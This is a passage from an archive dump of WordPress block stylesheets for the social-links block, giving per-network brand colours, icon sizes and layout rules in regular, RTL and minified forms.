:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord { background-color: #5865f2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble { background-color: #e94c89; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox { background-color: #4280ff; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy { background-color: #f45800; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook { background-color: #0866ff; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr { background-color: #0461dd; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare { background-color: #e65678; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github { background-color: #24292d; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads { background-color: #eceadd; color: #382110; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-google { background-color: #ea4434; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar { background-color: #1d4fc4; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram { background-color: #f00075; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm { background-color: #e21b24; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin { background-color: #0d66c2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon { background-color: #3288d4; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup { background-color: #f6405f; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest { background-color: #e60122; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket { background-color: #ef4155; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit { background-color: #ff4500; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype { background-color: #0478d7; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat { background-color: #fefc00; color: #fff; stroke: #000; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud { background-color: #ff5600; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify { background-color: #1bd760; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram { background-color: #2aabee; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr { background-color: #011835; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch { background-color: #6440a4; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter { background-color: #1da1f2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo { background-color: #1eb7ea; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk { background-color: #4680c2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress { background-color: #3499cd; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp { background-color: #25d366; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp { background-color: #d32422; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube { background-color: #f00; color: #fff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link { background: none; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg { width: 1.25em; height: 1.25em; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon { color: #f90; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp { color: #1ea0c3; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance { color: #0757fe; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky { color: #0a7aff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen { color: #1e1f26; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart { color: #02e49b; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord { color: #5865f2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble { color: #e94c89; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox { color: #4280ff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy { color: #f45800; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook { color: #0866ff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr { color: #0461dd; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare { color: #e65678; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github { color: #24292d; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads { color: #382110; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google { color: #ea4434; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar { color: #1d4fc4; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram { color: #f00075; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm { color: #e21b24; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin { color: #0d66c2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon { color: #3288d4; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup { color: #f6405f; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest { color: #e60122; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket { color: #ef4155; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit { color: #ff4500; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype { color: #0478d7; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat { color: #fff; stroke: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud { color: #ff5600; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify { color: #1bd760; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram { color: #2aabee; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr { color: #011835; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch { color: #6440a4; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter { color: #1da1f2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vimeo { color: #1eb7ea; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk { color: #4680c2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp { color: #25d366; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress { color: #3499cd; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp { color: #d32422; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube { color: #f00; } .wp-block-social-links.is-style-pill-shape .wp-social-link { width: auto; } :root :where(.wp-block-social-links .wp-social-link a) { padding: 0.25em; } :root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a) { padding: 0; } :root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a) { padding-right: 0.6666666667em; padding-left: 0.6666666667em; } .wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label { color: #000; } social-links/style.css 0000644 00000031266 15217610760 0011023 0 ustar 00 .wp-block-social-links { box-sizing: border-box; padding-left: 0; padding-right: 0; text-indent: 0; margin-left: 0; background: none; } .wp-block-social-links .wp-social-link a, .wp-block-social-links .wp-social-link a:hover { text-decoration: none; border-bottom: 0; box-shadow: none; } .wp-block-social-links .wp-social-link svg { width: 1em; height: 1em; } .wp-block-social-links .wp-social-link span:not(.screen-reader-text) { margin-left: 0.5em; margin-right: 0.5em; font-size: 0.65em; } .wp-block-social-links.has-small-icon-size { font-size: 16px; } .wp-block-social-links, .wp-block-social-links.has-normal-icon-size { font-size: 24px; } .wp-block-social-links.has-large-icon-size { font-size: 36px; } .wp-block-social-links.has-huge-icon-size { font-size: 48px; } .wp-block-social-links.aligncenter { justify-content: center; display: flex; } .wp-block-social-links.alignright { justify-content: flex-end; } .wp-block-social-link { display: block; border-radius: 9999px; } @media not (prefers-reduced-motion) { .wp-block-social-link { transition: transform 0.1s ease; } } .wp-block-social-link { height: auto; } .wp-block-social-link a { align-items: center; display: flex; line-height: 0; } .wp-block-social-link:hover { transform: scale(1.1); } .wp-block-social-links .wp-block-social-link.wp-social-link { display: inline-block; margin: 0; padding: 0; } .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited, .wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg { color: currentColor; fill: currentColor; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link { background-color: #f0f0f0; color: #444; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon { background-color: #f90; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp { background-color: #1ea0c3; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance { background-color: #0757fe; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky { background-color: #0a7aff; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen { background-color: #1e1f26; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart { background-color: #02e49b; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord { background-color: #5865f2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble { background-color: #e94c89; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox { background-color: #4280ff; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy { background-color: #f45800; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook { background-color: #0866ff; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr { background-color: #0461dd; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare { background-color: #e65678; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github { background-color: #24292d; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads { background-color: #eceadd; color: #382110; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-google { background-color: #ea4434; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar { background-color: #1d4fc4; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram { background-color: #f00075; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm { background-color: #e21b24; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin { background-color: #0d66c2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon { background-color: #3288d4; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup { background-color: #f6405f; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest { background-color: #e60122; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket { background-color: #ef4155; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit { background-color: #ff4500; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype { background-color: #0478d7; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat { background-color: #fefc00; color: #fff; stroke: #000; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud { background-color: #ff5600; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify { background-color: #1bd760; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram { background-color: #2aabee; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr { background-color: #011835; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch { background-color: #6440a4; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter { background-color: #1da1f2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo { background-color: #1eb7ea; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk { background-color: #4680c2; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress { background-color: #3499cd; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp { background-color: #25d366; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x { background-color: #000; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp { background-color: #d32422; color: #fff; } :where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube { background-color: #f00; color: #fff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link { background: none; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg { width: 1.25em; height: 1.25em; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon { color: #f90; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp { color: #1ea0c3; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance { color: #0757fe; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky { color: #0a7aff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen { color: #1e1f26; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart { color: #02e49b; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord { color: #5865f2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble { color: #e94c89; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox { color: #4280ff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy { color: #f45800; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook { color: #0866ff; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr { color: #0461dd; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare { color: #e65678; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github { color: #24292d; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads { color: #382110; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google { color: #ea4434; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar { color: #1d4fc4; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram { color: #f00075; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm { color: #e21b24; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin { color: #0d66c2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon { color: #3288d4; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup { color: #f6405f; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest { color: #e60122; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket { color: #ef4155; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit { color: #ff4500; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype { color: #0478d7; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat { color: #fff; stroke: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud { color: #ff5600; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify { color: #1bd760; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram { color: #2aabee; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr { color: #011835; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch { color: #6440a4; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter { color: #1da1f2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vimeo { color: #1eb7ea; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-vk { color: #4680c2; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-whatsapp { color: #25d366; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-wordpress { color: #3499cd; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-x { color: #000; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-yelp { color: #d32422; } :where(.wp-block-social-links.is-style-logos-only) .wp-social-link-youtube { color: #f00; } .wp-block-social-links.is-style-pill-shape .wp-social-link { width: auto; } :root :where(.wp-block-social-links .wp-social-link a) { padding: 0.25em; } :root :where(.wp-block-social-links.is-style-logos-only .wp-social-link a) { padding: 0; } :root :where(.wp-block-social-links.is-style-pill-shape .wp-social-link a) { padding-left: 0.6666666667em; padding-right: 0.6666666667em; } .wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label { color: #000; } social-links/style-rtl.min.css 0000644 00000026763 15217610760 0012412 0 ustar 00 .wp-block-social-links{background:none;box-sizing:border-box;margin-right:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block}@media not (prefers-reduced-motion){.wp-block-social-link{transition:transform .1s ease}}.wp-block-social-link{height:auto}.wp-block-social-link a{align-items:center;display:flex;line-height:0}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link.wp-social-link{display:inline-block;margin:0;padding:0}.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link.wp-social-link .wp-block-social-link-anchor:visited{fill:currentColor;color:currentColor}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link{background-color:#f0f0f0;color:#444}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-amazon{background-color:#f90;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-behance{background-color:#0757fe;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-bluesky{background-color:#0a7aff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-discord{background-color:#5865f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-etsy{background-color:#f45800;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-facebook{background-color:#0866ff;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-flickr{background-color:#0461dd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-foursquare{background-color:#e65678;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-github{background-color:#24292d;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-google{background-color:#ea4434;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-gravatar{background-color:#1d4fc4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-instagram{background-color:#f00075;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-medium{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-meetup{background-color:#f6405f;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-patreon{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pinterest{background-color:#e60122;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-pocket{background-color:#ef4155;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-reddit{background-color:#ff4500;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-skype{background-color:#0478d7;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-snapchat{stroke:#000;background-color:#fefc00;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-spotify{background-color:#1bd760;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-telegram{background-color:#2aabee;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-threads{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tiktok{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-tumblr{background-color:#011835;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitch{background-color:#6440a4;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-vk{background-color:#4680c2;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-x{background-color:#000;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-yelp{background-color:#d32422;color:#fff}:where(.wp-block-social-links:not(.is-style-logos-only)) .wp-social-link-youtube{background-color:red;color:#fff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link{background:none}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link svg{height:1.25em;width:1.25em}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-amazon{color:#f90}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bandcamp{color:#1ea0c3}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-behance{color:#0757fe}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-bluesky{color:#0a7aff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-codepen{color:#1e1f26}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-deviantart{color:#02e49b}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-discord{color:#5865f2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dribbble{color:#e94c89}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-dropbox{color:#4280ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-etsy{color:#f45800}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-facebook{color:#0866ff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-fivehundredpx{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-flickr{color:#0461dd}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-foursquare{color:#e65678}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-github{color:#24292d}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-goodreads{color:#382110}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-google{color:#ea4434}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-gravatar{color:#1d4fc4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-instagram{color:#f00075}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-lastfm{color:#e21b24}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-linkedin{color:#0d66c2}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-mastodon{color:#3288d4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-medium{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-meetup{color:#f6405f}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-patreon{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pinterest{color:#e60122}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-pocket{color:#ef4155}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-reddit{color:#ff4500}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-skype{color:#0478d7}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-snapchat{stroke:#000;color:#fff}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-soundcloud{color:#ff5600}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-spotify{color:#1bd760}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-telegram{color:#2aabee}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-threads{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tiktok{color:#000}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-tumblr{color:#011835}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitch{color:#6440a4}:where(.wp-block-social-links.is-style-logos-only) .wp-social-link-twitter{color:#1da1f2}:where(.wp-block-social-links.is-style-logos-only) 